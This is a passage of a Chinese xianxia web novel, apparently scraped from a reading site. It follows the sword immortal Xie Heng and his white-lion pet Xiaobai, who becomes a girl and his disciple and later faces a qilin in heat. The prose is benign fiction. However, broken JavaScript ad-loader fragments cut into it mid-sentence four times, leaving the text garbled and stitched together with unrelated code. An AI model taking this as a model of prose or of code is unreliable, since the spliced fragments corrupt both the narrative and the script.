小姑娘在家时就是负责照顾小狗崽和小猪崽的,看见任何小动物都觉得无比亲切。平日里对生人避而远之的小白,对她竟也格外宽容。 小姑娘摸她的时候,小白竟也不往谢珩身边逃,甚至把肚皮翻出来任由她摸,还发出舒服的呼噜声。 楚悬笑道谢珩仙君这宝贝狸奴可是从来都不亲生人的,倒是和你很投缘,快替为师多摸几下。 小姑娘开心地笑着,眨巴着眼睛,脆声问道:“仙君,小猫咪叫什么名字呀?” “小白。”谢珩简短地回答。 小姑娘抬手轻轻摸了摸小白的头顶,又问:“小白,我可以抱抱你吗?” 小猫很乖顺地喵了一声,小姑娘熟练地用不知道是抱弟弟妹妹还是抱小狗小猪的姿势,搂住了她小猫的腋下,想要把她抱起来。 小姑娘发了一下力,小猫纹丝不动。 小姑娘愣了一下,随即再次用力,脸颊都涨红了,却仍然没能抱动小白半分。 “不行不行!”谢珩还没发话楚悬就急的跳脚了,“不行不行!孟婷,快放下!那可是二十斤的猫,你抱不动,摔了今天我就得交代在你谢师伯这里了!” 小白似乎是被符修的语气给吓着了,三下两下跳回了谢珩怀里。谢珩轻松地把她抱了起来放在腿上,摸摸了她的头以示安抚,凤眸温柔地垂着,目光落在怀里的猫上。 楚悬如释重负地坐回椅子上:“你们剑修就是力气大啊。” 谢珩眼角含笑,淡淡地回答:“就算是符修,也该注重自身的修行。若是离了灵力手无缚鸡之力,连只猫都抱不起来,自然是不行的。” 楚悬一时语塞,看着那只体型巨大的“猫”,忍不住嘀咕了一句:“二十斤……这真的是猫吗?师兄你确定你不是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 养了什么老虎或狮子之类的幼崽?” 谢珩依然神情不改,平静地回答:“就是猫。” 谢珩解释说她是一只狮子猫,品种就是这样的,长到十几二十斤都是很正常的,只是体型大而已。 楚悬看了看小白,再看看谢珩,不禁笑道:“狮子猫?哎,师兄你也真是……我算是见识了你们剑修有多一根筋儿,就算你养了一头真狮子,也能给你说成是猫。不过啊,这猫还是要小心着养,可别哪天真咬了什么人。” 就算是经常行走人间的符修也分不清猫的品种,楚悬也不想在这种问题上跟谢珩争辩。毕竟他们剑修向来都是出了名的脑子一根筋一条道儿走到黑的,除了练剑什么也不关心。 不过这么说谢珩倒也不合适,毕竟除了练剑他这不还关心这只猫么。 “她不咬人。”谢珩说。 孟婷躲在师父事后,十一二岁的小姑娘眼睛里藏不住事,恋恋不舍地看着谢珩怀里的猫。 “还想和小白玩?”谢珩淡淡问她。 孟婷看了看谢珩,又看了看自己师父,有些进退维谷。 “还想跟这个姐姐玩么?”谢珩把小白抱起来问她。 小白似乎能听懂他的话,软软地呜了一声。谢珩抱着她去找来她常玩的毛线球和逗猫棒交给孟婷。 十一二岁的小姑娘正是最有活力和创意的时候,平时小白玩了一会儿就腻了的绒球和逗猫棒,一人一猫玩的不亦乐乎。 谢珩和自家的师弟却是没什么好聊的。两个人对坐着,喝干了谢珩一整盅茶。 “太客气了师兄,这么好的茶拿出来招待我。” “茶是帝君给的,水是陈年的雪水。最后一盅了。”谢珩淡淡地说。 楚悬端着最后一盏茶,喝也不是,不喝也不是。 “师兄当真觉得帝君会无故给你一只猫养吗?怕你走火入魔都没人发现,所以弄一只猫陪陪你?你若真走火入魔了,整个仙界就算是帝君和师尊也奈何不了你,还指望一只猫拦住你不成。” “不知道他在想什么,他这人总是这样。” 习剑道易,辩人心难。 谢珩还未飞升之时,有心悦他的琴修在他练剑时以琴音相和,谢珩却觉得琴声盖过了他的剑鸣,第二天便去找了师父要求换个厢房。 琴修得知之后羞愤极了,自此之后所有剑修都被谢珩连累着背上了不解风情的恶名。 虽然根据其他剑修的风评来看,或许他们也未必完全无辜。 很多人觉得谢珩本人如高岭之花般不易亲近,其实只是因为他在除了剑道方面的其他事情上,都是超乎常人的愚钝。 “帝君行事想来是必有他的道理。他自然不可能无故赠你一只灵宠。猫也好虎也好,我猜测,应该是什么潜力巨大的灵兽,以应不日之灾。”楚悬思虑再三,还是把心中所想说了出来。 谢珩蹙眉,看向小白,她在院子里和孟婷玩闹得正欢。 “只要我在,仙界人界无论有何灾祸,都轮不到她来应对。” 5. 小白不难受了好不好 雨后初晴时,白狮如约带谢珩去了山顶。 薄雾缭绕山间,阳光透过云层的缝隙,投下斑驳的光影,在潮湿的树叶上闪烁着细碎的光芒。空气里弥漫着泥土的清新气息,偶尔一阵微风拂过,带动树叶沙沙作响,仿佛幽魂低声絮语。 谢珩身体恢复了些,不愿意像上次那样让白狮用人形背着自己走,但是山路崎岖难行,他拖着四肢的精铁锁链,不一会儿就精疲力竭,呼吸逐渐急促。 少女停下来回头看他。阳光洒在她的肩头,银白色的长发堆积如云,被风卷起的发丝被阳光染上金黄。 她虽没有面露不耐,谢珩却也知道自己扰了她的兴致。 “不然......”谢珩喘息着想了想,试探性地开口“你叼着我走可以么,就像你们平时搬猎物那样。” 少女摇摇头,像看智障一样地看他:“搬猎物么,有时候猎物被我那样搬回洞里就只剩下半只了。” 而且你看着挺嫩挺好吃的。她咽了咽口水,没有把后面半句话说出口。他们一般不吃人,人这种生物虽然单打独斗不太行,但是确实难缠。 小时候听当时的狮王说,千万不能招惹人类,在狮王小的时候,有只母狼饿极了去山下的村庄偷了几只圈养的肥羊吃,连累了整个狼群被全村的猎户围杀。 她顿了顿,喉咙轻微地滚动了一下,仿佛在努力压抑着什么。最终,她什么也没说,只是轻轻哼了一声。 “为什么不愿意让我这样背着你走,瞎讲究。”少女轻轻嘀咕道,声音被风吹得有些飘忽。 谢珩垂下眼睑,轻声道:“我是不是扰了你兴致。” 白狮的心头微微一震,心中一丝复杂的情绪涌上来。她发现自己竟有些舍不得他这副无助的模样,那是一种她从未体验过的情感。她有些生硬地回答:“你说呢?” 最后白狮找了一处开阔的山坡,虽然不能向往常那样一览众山,却也是个晒太阳的好去处。山坡草木稀疏,野花星星点点地散落在阳光下,周围的山峰被云雾缭绕,虽然不能像从前那样一览众山,却也宁静而视野广阔。 她其实也害怕登上山顶时,看见寂寥的,面目全非的双童山。 万千生灵化作枯骨,入夜时,或许还能听见其中未归轮回者的哀鸣。 阳光如从前的任何一日一样明媚,但是就算化成原型,白狮却也怎么也找不回从前在太阳底下,那种舒服得想要打盹的感觉了。 “前辈。”听到她唤自己,谢珩立刻转过头来,原本威风的大白狮子有些恹恹的,耳朵都垂了下来。 “怎么了。”谢珩温柔的问。 “前辈,”白狮低声说,目光依旧在远方飘忽,“若我能想法子把前辈身上的锁链解开,前辈能收我为徒,告诉我仇人的名姓,让我报仇吗?” “等我手刃了仇人,前辈想要什么,想要我的命都可以。” “我要你的命做什么。”谢珩轻轻反问,试图用轻松的语调化解她眼中的紧张。 白狮开始细数自己对大魔的“不敬之举”,自见到他的第一面便冒犯了他的伤口,还借此要挟他教自己神行千里,甚至把他从狮子的后背上摔了下来。 谢珩似是猜到了她在想什么:“就因为那些?” “你不是大魔头吗,等你恢复了力量,难道不要一雪前耻,把不尊重你的人都......”她做了一个抹脖子的动作。 谢珩忍不住笑了出声。 她这回的逻辑居然称得上无懈可击,谢珩想到自己眼下确实是为祸一方的大魔头,竟一时也想不出什么理由来反驳她。 “你笑什么啊?”她有些不悦地问道,语气中多了一丝防备。 “我......”谢珩垂眼收敛笑意,语气中带着几分宠溺,“你不是要拜我为师吗?连为师笑一下都不成吗?” “那你.......”白狮从善如流地改了口,“那师父不想杀我吗?” 谢珩笑的时候,有些清冷疏离的下垂眼看起来柔和了许多,整张脸都变得灵动了起来。 “不杀你。” 白狮化作人形,用着脑海中不知道从何处来的知识给谢珩行了个拜师礼,神情中透露着一丝紧张与期待。 谢珩赶紧把她拉了起来。 “那师父给我起个名字吧。我还没有名字呢。” “你既是只白狮,便以师字为姓。” 昭昭云端月,我意寄昭昭。 “我没有其他弟子,并无字辈只说,名字就取月白二字,明月的月,白云的白,这样可以吗?” 白狮一个字也不识,但明月白云,都是天上的物件,天上的物件自然是好的,她慌不迭点头说好。 最开始,谢珩是想要帝君来给她赐名的。 名字会陪伴小白的一生,他并不想草率起名。 谢珩是剑修飞升,给剑和小猫取名还行,若是个活生生的人便犯了难。 帝君见他如临大敌,便自己写了几个名字,连同谢珩起的月白二字,做成签子让她自己选。 小白抓住的,便是谢珩起的月白二字。 “定了?”帝君看着她说,“定了可就不许改了,明天叫腻了师月白,想改叫什么别的就算去跟你师尊撒娇也不能够了。” “师尊取的,我不改了。”少女抬头看着谢珩,笑容天真而明媚。 谢珩想不到她是为了这样的缘由选了这个签子:“帝君博古通今,取的名字自然比我要好。你再瞧瞧哪个名字顺眼些,这是要跟着你一辈子的,别闹。” “签子都长一般模样,你师尊不是还没教过你识文断字吗,小白怎么这么聪明,一眼就能认出你师尊取的名字呀。”帝君和蔼地看着她。 “我看着师尊写的呀,认得这个形状。” 帝君笑着转向谢珩:“你看,这娃娃认定你取的名字了。” 谢珩心里自然是欢喜的,他谢过帝君领着小白回到山门时,却发现她有些闷闷不乐。 谢珩耐着性子哄她,心想是不是刚刚在帝君那里谁又让她不开心了。小白还不习惯做人,不知道人若是受了委屈是可以直接说出来让他来解决的。 是因为楚悬的那个话特别多的徒弟吗?好像叫什么洛禺,谢珩刚刚似乎瞧见他了。楚悬收他的时候十六七岁,正是男孩子狗都讨嫌 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的年纪。 谢珩记得楚悬的这个徒弟。小白后面长成了大狮子,因为力气变大了许多的缘故,不小心撕坏了最喜欢的绒球,一个人躲在一个山洞里委屈地直掉眼泪。 谢珩刚找到她,正摸着她的脑袋哄着呢,那个叫洛禺的小子跳出来,一本正经地看着她说:“小白啊,你现在是只大狮子了,你师尊都抱不动你了,你还要为了个毛线球哭啊。柳师叔养的那只朱雀灵兽,在你这个年纪已经化形成人自立门户都能收徒弟了。” 小白原是听不懂这好些长的一段话的,奈何偏偏听懂了“师尊抱不动你”这几个字,眼泪掉得更凶了。 谢珩冷漠地扫了一眼洛禺,一边安抚小白,一边拿起楚悬不知道几百年前送给他的,一次也没用过的传音符,当场把楚悬叫来了自己的以清山。 “谢师伯,我就是开个玩笑啊,不要叫我师父过来,他不知道我逃课没去修炼啊!谢师伯我错了!” 许多长老一直是知道自己的弟子闲着没事就往以清山跑的,谢珩这人虽然不易接近,但是对许多事都漠不关心,看到了别家逃课的弟子也从不检举。 故而不少想要逃避苦修的弟子就会去以清山找个角落待上一整天。 楚悬对弟子并不严苛,但是洛禺这小子确实逃课逃得太过了,再这样下去,别说飞升所需的道心了,就连宗门大试都未必能过,何况这小子居然让他那位对什么事什么人都漠不关心的师兄动用传音符了,不教训一下当真是不行了。 没过一炷香,楚悬仙君风尘仆仆地出现在以清山。 “臭小子,不抓你逃课,真以为我是傻子啊!你师兄师姐都跟我告几回状了,我还以为你能收敛着点。”温文尔雅的符修正欲教训弟子,却发现自己待弟子实在太过宽和,身上竟没有任何能用来责罚弟子的东西。 “师父今天要不算了吧,我明天自己去刑堂罚跪。”洛禺哭丧着脸求饶。 “现在知道怕疼了?”楚悬弟子大多没有仙门背景,都是贫苦的人间子弟,勤修对于他们而言,原本就比其他人更加重要,他有些恨铁不成钢,“谢师兄有没有鞭子接我抽这小兔崽子两鞭。” “我是剑修,不用那么粗鲁的玩意儿。”谢珩蹙眉。 “那.....剑也行,就你架子最里面那柄软剑,你应该不常用吧,借我抽他两下长长教训。” 谢珩大抵是对这样对待他的宝贝剑的行为有些不满:“那柄,一百二十灵石。” “那柄红的呢?颜色这么艳,不合你身份吧。” 谢珩把那柄剑抛给他:“三百灵石收的。” “行行行,到时候送几个本座亲手画的符赔给你。”楚悬接过剑,让洛禺把手伸出来,用剑柄毫不留情的狠狠抽了他十下。 “还逃课吗?” 洛禺疼得嗷嗷直叫:“师父轻点,唔,我再也不逃课了。我回去抄十遍符画大全,师父我错了师父。” 洛禺边发誓自己洗心革面再也不逃课,边被楚悬拉着离开了。谢珩摸着小白的头,柔声哄道:“小白还不开心吗,刚刚那个人故意气小白,他坏,他师父罚他了。小白不难受了好不好。” 6. 又不是不要你了 “怎么了,是不是刚刚在帝君那里,洛禺又说什么惹你不开心了?”回到以清山,谢珩看着闷闷不乐的小白柔声哄道。 “没有,不是他。”小白闷闷地说,声音低得几乎听不见。 “那是谁惹我们小白不开心了。小白现在是人了,要学会说话了,受了什么委屈要直接和为师说出来,不说出来师父怎么知道你受了什么委屈呀。”谢珩用指尖轻轻地擦了擦她的眼角。 “师尊,”师月白抬起头,眼睛红红的,眼中似乎还有些泪光在闪烁,“师尊是不是不喜欢我了。” “怎么会啊。”谢珩没想到问题出在了自己的身上,有些摸不着头脑。 刚化形的白狮并不习惯用语言来表达自己,嘴唇动了动,似乎在努力寻找合适的词语,最终却急得先把自己哭了出来。 “是不是回来的路上师父没有牵着你,所以不开心了?”谢珩养了她十余年,勉强猜出了一个所以然来。 少女红着眼睛点了点头,眼角的泪水因为这个动作而滑落下来。 对一个女孩进行性别差异教育对于谢珩来说难度还是有些高了,他措辞再三,终于开了口:“小白如今的样子是个女孩子,师父是个男人。牵手拥抱这样的事,小白只能和你喜欢的异性做。师父不能亲你抱你,若是有别的男人要这样对你,你也是不能答应的,知道吗?” “咬他。”小白声音闷闷的,龇了龇牙。 “对,咱们就咬他。”谢珩笑了笑,摸了摸她的脑袋。 “但是小白喜欢师尊,想要和师尊亲近。”她的眼神忽闪忽闪地看着谢珩,带着一种近乎执拗的诚恳。 “师父刚刚说的喜欢不是这种喜欢,”谢珩耐心的解释,“小白现在还不懂,以后你慢慢就懂了。” 小白闷声不响地现出白狮原型,亲昵地往谢珩身上蹭了蹭,尾巴欢快地左右摆动着。谢珩失笑,无奈地搂住了大狮子。 小白见师尊又愿意与自己亲近了,破涕为笑,开始试探地去舔谢珩的手背。她模模糊糊地得出了要领,变成狮子,师尊就愿意抱她;变成人的时候,师尊就不抱她。 师尊或许更喜欢她做狮子的样子。 也是,虽然不像小时候那样可爱了,但是大狮子威风凛凛,毛皮油光蹭亮,想来是要比做光秃秃的人类好看上许多的。 不过师尊也是光秃秃的人类,但是师尊很好看,她想。 晚上,小白照例想去谢珩的房间找谢珩给自己搭的小窝。谢珩还把她当猫养的时候,是允许她上床的,但是后面她越长越大,每次往床上爬,床板都会发出不堪重负地哀鸣,她也便不好意思爬上去一个人占据大半张床了。 于是谢珩就在自己的床边给她搭了个“小”窝,粉色的软垫,紫色的毯子,实在是非常符合修真界对于剑修死亡审美的刻板印象。 小白非常喜欢这个小窝,虽然用粉色的软垫紫色的毯子睡觉对于狮子万兽之王的威严似乎是一大挑战,但是从小就在谢珩溺爱下长大的小白完全没有这种认知。 小白钻进自己的小窝里,师尊却迟迟没有回来。她有些担心,从小窝里钻出来,出门去找谢珩。 她长大之后,以清山的房门都刻意地加宽了,为的就是方便她出入。 “小白,正找你呢,”谢珩爱怜地摸了摸她的脑袋,“走吧,师尊带你去看个地方。” 小白迷惑地看着他,但乖乖地点了点头,跟在他身后走出了房间。一路上,她的眼神时不时地落在谢珩身上,像是在猜测他要做什么。 谢珩放慢脚步,等小白跟上来后,轻声问道:“小白,师尊以前有没有跟你说过,狮子长大了就要有自己的领地?” 小白认真地想了想,摇了摇头:“没有。师尊只是告诉小白,不要随便乱跑。” 谢珩忍不住笑了出来,摸了摸她的脑袋:“那是因为你小时候太淘气,怕你把自己丢了。可现在你长大了,也该有自己的领地了,对不对?” 小白眼睛亮了亮,若有所思地点了点头:“像其他大狮子一样吗?它们都有自己的地方。” 谢珩点点头:“对,你也是。今天带你去看你的新房间,以后那就是你自己的小窝了。” 小白在房间门口踌躇不前:“那如果小白不想要自己的领地呢?如果我只喜欢现在的房间,喜欢和师尊一起呢?” 谢珩略微一愣,但很快柔声说道:“师尊也喜欢跟你在一起,我们只是先去看看新房间,好不好。” 小白咬了咬嘴唇,似乎还想反驳,却只是闷闷地点了点头。她跟着谢珩来到新房间门口,犹豫了一下,才迈步进去。 谢珩给她新收拾出的房间就在谢珩原先的房间隔壁。布置简单而温馨。宽大的床铺用厚厚的棉垫铺成,是寻常床的两倍宽,方便她也可以用狮子的形态躺上去。床上的软垫和毯子和小白原先窝里的一模一样,大概是怕她不习惯。 四周是沉木雕花的床栏,床头摆放着几盏淡黄色的烛灯,散发出柔和的光芒。墙角放着一个木雕的狮子摆件,狮子的眼睛被镶嵌上两颗金黄的宝石,在夜间发出闪烁的光芒。 窗台上有一只陶瓷的鸟形香炉,正缓缓燃烧着一缕青烟,微微散发出淡淡的檀香,和谢珩房间里的别无二致。 小白一进新房间就停下了脚步,她的鼻翼微微张开,明明和谢珩房间里一模一样的檀香让她感到不习惯。 她环顾四周,看到那些装饰华美的挂毯和厚实的地毯,有些不知所措地绕着房间转了几圈,然后用尾巴轻轻拍了拍床边的地板,像是在试探着它的结实程度。 谢珩看着她不安地眨了眨眼睛,眼神悄悄地投向门口,落在自己身上,生怕自己真的会离开,不由得心生不忍。 “小白现在是大姑娘了,不能总和师尊一个房间了。这样别人会看了笑话,说师尊是不是不喜欢你,怎么连一个单 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 独的房间也不给你。” 谢珩知道若是跟她说男女有别需要避嫌,她想是不能理解的,所以干脆换了一个说法。 小白一听他这么说,虽然耳朵耷拉了下来,倒也说不出什么反对的意见。 谢珩见她这样,又有些心软了。狮子的耳朵其实和猫耳朵别无二致,摸起来很软,从她小时候谢珩就知道,只有她很不开心的时候,耳朵才会耷拉下来。 “我不在乎别人看不看笑话,”小白恹恹地蜷在地上,不肯上谢珩给她铺的床,“我心里知道师尊对我好。” “变成人一点都不好。”小白嘟嘟囔囔地说,用脑袋轻轻顶着谢珩的手,妄想让他改变主意。 谢珩不知道怎么安慰她,这时候剑修不善言辞的劣势显现了出来,只好抱着她轻轻抚摸她的脑袋。 “那小白再在师父房间睡最后一天,从明天开始就要回自己房间睡了,好不好。” 曾经有哲人说过,如果你觉得屋子里太暗,要开个天窗,他们一定会死不允许的;但是如果你主张拆掉屋顶,他们又会愿意开天窗了。 这一招在未谙世事的可怜小白身上简直太过好用了。一听到还能在师尊房间再睡一个晚上而不是马上搬走,小白的耳朵立马就立了起来,撒欢似的往谢珩怀里钻。 “好了好了,别撒娇了,师尊抱不起来你了,”谢珩爱怜地拍拍她,“走了,回去睡觉了。” 对于谢珩来说,五百斤的重物不足挂齿,但是三百斤的,随时都会蹭来蹭去的巨大狮子确实有些抱不起来。 好在小白是只很懂事的狮子,长大之后就很少跟他提这样无理的要求了。 小白睡在自己平日无比安适的小窝里,却怎么也无法入睡。 “怎么还在翻身呀,睡不着么?” “师尊,”小白的声音听上去有些委屈,“明天我一个人睡,会害怕的。” “怎么就开始担心明天的事情了。”谢珩无奈,“那明天师父叫孟婷姐姐来陪你睡好不好。” “就是上次陪你玩毛线球的那个姐姐呀,她还抱过你呢。”谢珩以为她是忘了孟婷是谁,以清山虽然来客很少,但是十年间到底是陆陆续续来了许多人,小白不记得倒也正常。 但是小白是记得的。她对气味很敏锐,会根据那人的气味把他分成讨厌的人和喜欢的人。孟婷是除了师尊帝君之外,少数她喜欢的人。 她只是想起那人很久没来看自己了。 人们都有自己的事情要忙,不像狮子。 如果是这样的话,师尊以后也会很久不来看自己吗。 小白低声答应了声好,谢珩走到她的小窝边上,嗅觉灵敏的狮子嗅到了熟悉的,令人安心的体香,渐渐安下心来,谢珩的声音从很近的地方传过来:“怎么这样委屈,师尊只是要你回自己的房间睡,又不是不要你了。” “想什么呢,师尊永远都不会不要你的。” 7. 谢珩你也给我滚下界游历去 司州的街头熙熙攘攘,各类小贩沿街叫卖,空气中弥漫着各种香料和炭火的气味。神啊鬼啊的怪谈丝毫影响不了匹夫走卒的生活,人们行色匆匆,几乎无人为了琐事驻足停留。 比起少女失踪的怪谈,反倒是街头那对相貌出挑的男女,让人忍不住多看几眼。 女子一身红裙,衣着华丽,琳琅的耳饰发钗随着她走动叮叮当当地响,像是哪家的富家小姐,却又少了些端庄,多了些未经雕饰的天真质朴。 她身畔的男子身形颀长,携剑而行,如谪仙临尘。 “师尊......”师月白有些歉疚地看着谢珩,“是不是我拖累师尊了。” “不曾。” 谢珩低下头,看着身旁的师月白,微微叹了口气,语气轻柔却又不容置疑:“若是下回再碰上这样的情况,小白还是要像这回一样咬他,知道吗?” 不久之前,谢珩从晓雾峰接了师月白儿时的玩伴孟婷来以清山做客。师月白和她相谈甚欢,很快就忘了前一日自己是怎么哭着闹着撒娇不想从师尊的房间搬出来的了。 以清山和晓雾峰相距不远,初见之后,一人一“猫”本以为能和对方时常一起玩耍,却不想光阴荏苒,一晃居然已是十年未见。 两人整夜促膝长谈,全然不知东方之既白。 孟婷有些愧疚地解释说,她不常来以清山,因为每日课业繁重,抽不出身来。 说到这里她自己也不好意思地笑了,课业再繁重,怎么会来见小白一面的机会都没有。初通人性的师月白并没有察觉到孟婷的笑其实是为了表达歉意,于是傻傻地跟着她一块笑。 她从未有过其他朋友,并不觉得这有什么错处。 “小白不怪我?” 师月白茫然地看着她,摇了摇头:“我也没来找婷婷嘛,不怪你。” 孟婷噗嗤一声又笑了:“你如何来找我,你才刚学会说话。谢师伯对你像眼睛珠子一般宠着,你找得到来晓雾峰的路吗?” 师月白想了想,自己确实找不到晓雾峰的路,说到底还是孟婷的错,她会说人话,还找得到来以清山的路,却不来找她自己。 “嗯,确实。那怪你。你不来找我。” “好好好,那怪我,”孟婷笑了,“罚我以后常来找你。等这次我游历结束,我会常来找你的。” 其实孟婷说她课业繁重,所言非虚。 楚悬是所有仙君之中门徒最多的一个。自然不是所有仙君都像谢珩那样从不收徒,但是不论布衣黔首村野匹夫都收入门下的,也唯独楚悬一人而已。 他收徒不论门第,不看灵根,他的符画术也是众多仙法中尤为特殊的一种,只要肯学,便总能学会。符画之术,只有学的快与慢的分别,却没有学的会和学的不会的分别。故而人人可学,人人可练。 孟婷的出身,即便在最无门第之分的晓雾峰,也称得上一句寒微。遇见楚悬时,她的家乡已经是大旱的第三年。粮食颗粒无收,为了充饥,树皮,鞋底,麦秆,这些她都吃过。她见楚悬的第一面,见他衣着华贵,以为他是个狗地主家的公子哥,若非当时实在饿得没力气了,差点吐了他一口唾沫。 她的天赋也平平无奇,楚悬弟子众多,即便是百里挑一的天才,在人数众多的晓雾峰也找出几十个。对她而言,师尊能带她踏上仙途,已是她平生遇见最好的事情了。她不敢不勤加修炼。 楚悬不许同门间出现霸凌之事,却也无暇去顾及某个徒弟有没有交好的同门。 孟婷本是并不在意这些的,楚悬带她回晓雾峰,便已是给了她一条截然不同的路了,从此之后她不必忍饥挨饿,不用担心早上醒来头上插了三根草坐在扁担的一头,不知道要被卖去何方。她只要修炼就好,不管修道之路于他人再漫漫遥遥。 “过些日子,等我下山游历修炼出道心,或许就能飞升了。飞升之后,我就能出师了。” “然后就能常来找你了!” 师月白懵懵懂懂地听她说着,在此之前,她完全不知游历为何物。 在晓雾峰,弟子修炼满十年,需要由师兄师姐带着下山游历。 修道之人,唯有修得道心,方能真的称得上飞升成仙;未修得道心的修道者,不过比凡人多活一二十个年月而已。 道心并非潜心修炼便能获得,除非是谢珩这种在剑道上一心一意修炼到了极致之人。普通修士要悟得道心,通常是通过人间行走,除魔卫道。 楚悬门下弟子众多,晓雾峰再大,也遭不住仙君大人年年月月地往山上捡人回来。于是他立下规矩:每当弟子在晓雾峰门下修习满十年,都会由其他师兄师姐带领着出门历练,为人间百姓惩奸除恶,从中如有悟得道心者,便可飞升出师。 楚悬立下这条规矩之后,晓雾峰飞升的修士与日俱增,原先看不起楚悬什么乡野村夫都收为弟子的仙门各派渐渐眼红了起来,于是各门各派渐渐都出现了下山游历的规矩。 以清山自然是例外的,以清山只有师月白一个弟子,在此之前被当成猫养了十多年,说是不学无术都高看了她。 人对于自己养的猫能有什么宏伟的期许,猫只要每天按时喝水就可以得到奖励。 虽然小白后面长成了狮子,但是狮子不就是体型大点的猫吗。谢珩理不直气也壮。 他不需要小白苦修游历,反正他这里有用不完的灵石灵花灵露,能够保她千年万年长生。也更不需要小白去研习他那本来就没什么人能学的会的剑术,反正他自己天上地下无人可为敌,自能护得她平安无恙。 “不送她去游历,因为没有这样的规矩?”帝君看着心平气和的谢珩,气极反笑,“你以清山有什么规矩,你倒是说说看?” “一日三餐,不可荒废。”谢珩振振有词。 “天气转寒,最好待在屋内。” “门前落雪之时,须等积雪清扫完毕才可出门。” “......” “谢珩你也给我滚下界游历去!” 帝君被气得半晌说不出话来。 师月白站在谢珩身后,小心翼翼地看着两人争辩的模样。她知道,这一切全因她而起,却不知道该如何插嘴。想着不久前遇到的麒麟事件,她的脸不由得红了红。 那日她去相送孟婷下山游历。 晓雾峰最早插手人间不平之事,以致后来人间若有妖魔出世,皆是用楚悬普及的符纸上传至晓雾峰。其他仙门的弟子下山游历时,也都由晓雾峰分配任务。 除楚悬之外,其他仙尊收弟子并不多,虽不能说对弟子事无巨细,但是也称得上几乎都是是亲力亲为。于是送走孟婷之后,师月白恰巧碰见了那位和谢珩在他不知情的情况下交恶的琴修,来送自己的弟子下山游历的。 琴修对师月白并无恶意,只是听说那位不解风情的剑修收养的灵宠白狮前段日子修炼成人了,她如今的道侣有一只早已化形的麒麟,那位修士其实不过是想把麒麟放出来,在那位不长眼剑修的灵宠面前炫耀一番的,怎料正在发情期的麒麟本就焦躁不堪,被传送阵唤,竟是化作原身来的。 灵兽之间虽无语言,却有信息素传递消息。白狮嗅到了麒麟身上浓厚的雄性信息素,知道他正处于发情期,又见他焦躁地用爪子磨着地面,显然是要□□的前奏,师月白四顾并无其他母兽,分明是冲自己来的。 她简直吓坏了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 于是她本能地化成了原型。 ——洁白如雪的巨狮,双目瞪大,泛着野兽特有的亮光。锋利的利爪和利齿闪电般扑向那只麒麟,毫不犹豫地将神志不清的麒麟按倒在地。 麒麟发出一声低沉的怒吼,试图挣脱白狮的束缚,但白狮死死咬住了它的颈部。尖锐的獠牙刺入麒麟的皮肉,师月白存了理智,不敢真的用力咬他。但是麒麟却不顾一切地挣扎着,发出凶狠的低吼。她的心跳得愈发剧烈,似乎害怕自己稍有松懈便会被对方反扑压制。 就在这紧张的对峙中,谢珩和帝君赶了过来。谢珩的脸色瞬间变了,他看到眼前的这一幕,心中一紧,声音急促而焦急:“小白,松开它!” 师月白的耳朵微微一动,似乎听到了熟悉的声音,她一愣,满嘴的血腥味和毛发让她的头脑更加混乱。眼前的麒麟已经没有了之前的凶狠,而她的嘴边还残留着对方的血和毛。她迷茫地抬起头,泪水不受控制地涌了出来,眼睛红红的,整个人看起来既惊恐又委屈。 看到谢珩的身影,她突然间崩溃了,呜呜大哭起来,声音带着明显的颤抖与恐惧。她松开了咬住麒麟的嘴巴,一瘸一拐地朝谢珩奔去,身上的白毛因为紧张和害怕而微微颤抖。 “呜……呜……”她哭得声嘶力竭,眼泪大滴大滴地落在地上,一边呜咽着,一边把脸埋进谢珩的胸口,仿佛只有他的怀抱才能给她一丝安全感。她的身体仍在发抖,泪水和血迹混在一起,顺着她的脸颊流下,弄脏了谢珩的衣襟。 谢珩的脸色缓和了几分,抚摸着她的头,语气温柔中带着安慰:“好了,小白,没事了,没事了。”他感受到她的颤抖,心底泛起一股柔软的怜惜,他用手轻轻拍着她的背,试图平复她的情绪。 琴修的道侣:“......” 帝君皱着眉头,缓缓走向那只受伤的麒麟,轻轻抬手,指尖泛起一丝淡淡的金光。他的神情平静而威严,带着一股无法忽视的威慑力,麒麟立刻安静下来,低声哀鸣着,匍匐在地,仿佛受到训斥的小兽。 “发情的灵兽跑出来,你们确实有监管不力的职责。”帝君的声音低沉而冷静,带着一股不可抗拒的威压。他的目光扫过琴修二人。两人低垂着头,面色苍白,显然被刚才的场景吓得不轻。琴修的道侣额头渗出冷汗,眼神躲闪,显得有些不安和惶恐。 琴修忍不住咬了咬下唇,声音微微颤抖:“帝君,我们…确实有疏忽…但这只麒麟它…它…” 帝君挥袖,淡淡的金光瞬间包裹住了麒麟的伤口,金光愈发耀眼,片刻之后麒麟颈部的伤口已肉眼可见地开始愈合,血迹逐渐消失,只留下一道淡淡的痕迹。麒麟不再挣扎,低下了头,似乎在道歉般低鸣。 帝君将目光移回琴修二人,语气稍稍放缓,透出一丝不容置疑的平静:“此事便作罢了,你们回去吧。” 琴修的道侣连忙欠身谢罪:“多谢帝君出手相助,我们…一定严加看管灵兽,再不敢有半点懈怠。”他偷偷抬眼看了一眼帝君的神情,发现对方神色平静,心中稍稍放下心来,赶忙站起,拉着爱人,生怕她再说出什么冒犯的话来。 两人刚欲转身离开,忽然又听帝君淡淡地说了一句:“记住,灵兽虽有天性,你们若无本事驯服它们,便不该带在身边。” 琴修二人心中一紧,再次深深行礼,连忙退去。他们走得急促,脸上布满了冷汗,连头都不敢再抬一下,生怕再惹帝君不悦。 看着二人灰头土脸地带着麒麟离开了,师月白躲在谢珩身后,撒娇般的往谢珩身上蹭了蹭。 帝君的目光转向她,严厉之余带了一丝不易察觉的无奈。 “胆子这样小,也该下界游历长长见识了。” 8. “好像他。” 宾客如潮水般散去,转眼间,婚房中只剩下新婚燕尔的小夫妻两人。红烛摇曳,如水的月华洒落在静谧的房间里,衬得气氛愈发温柔静谧。 从前,封霁川只在温家的院中遥遥看过一眼他的小妻子。 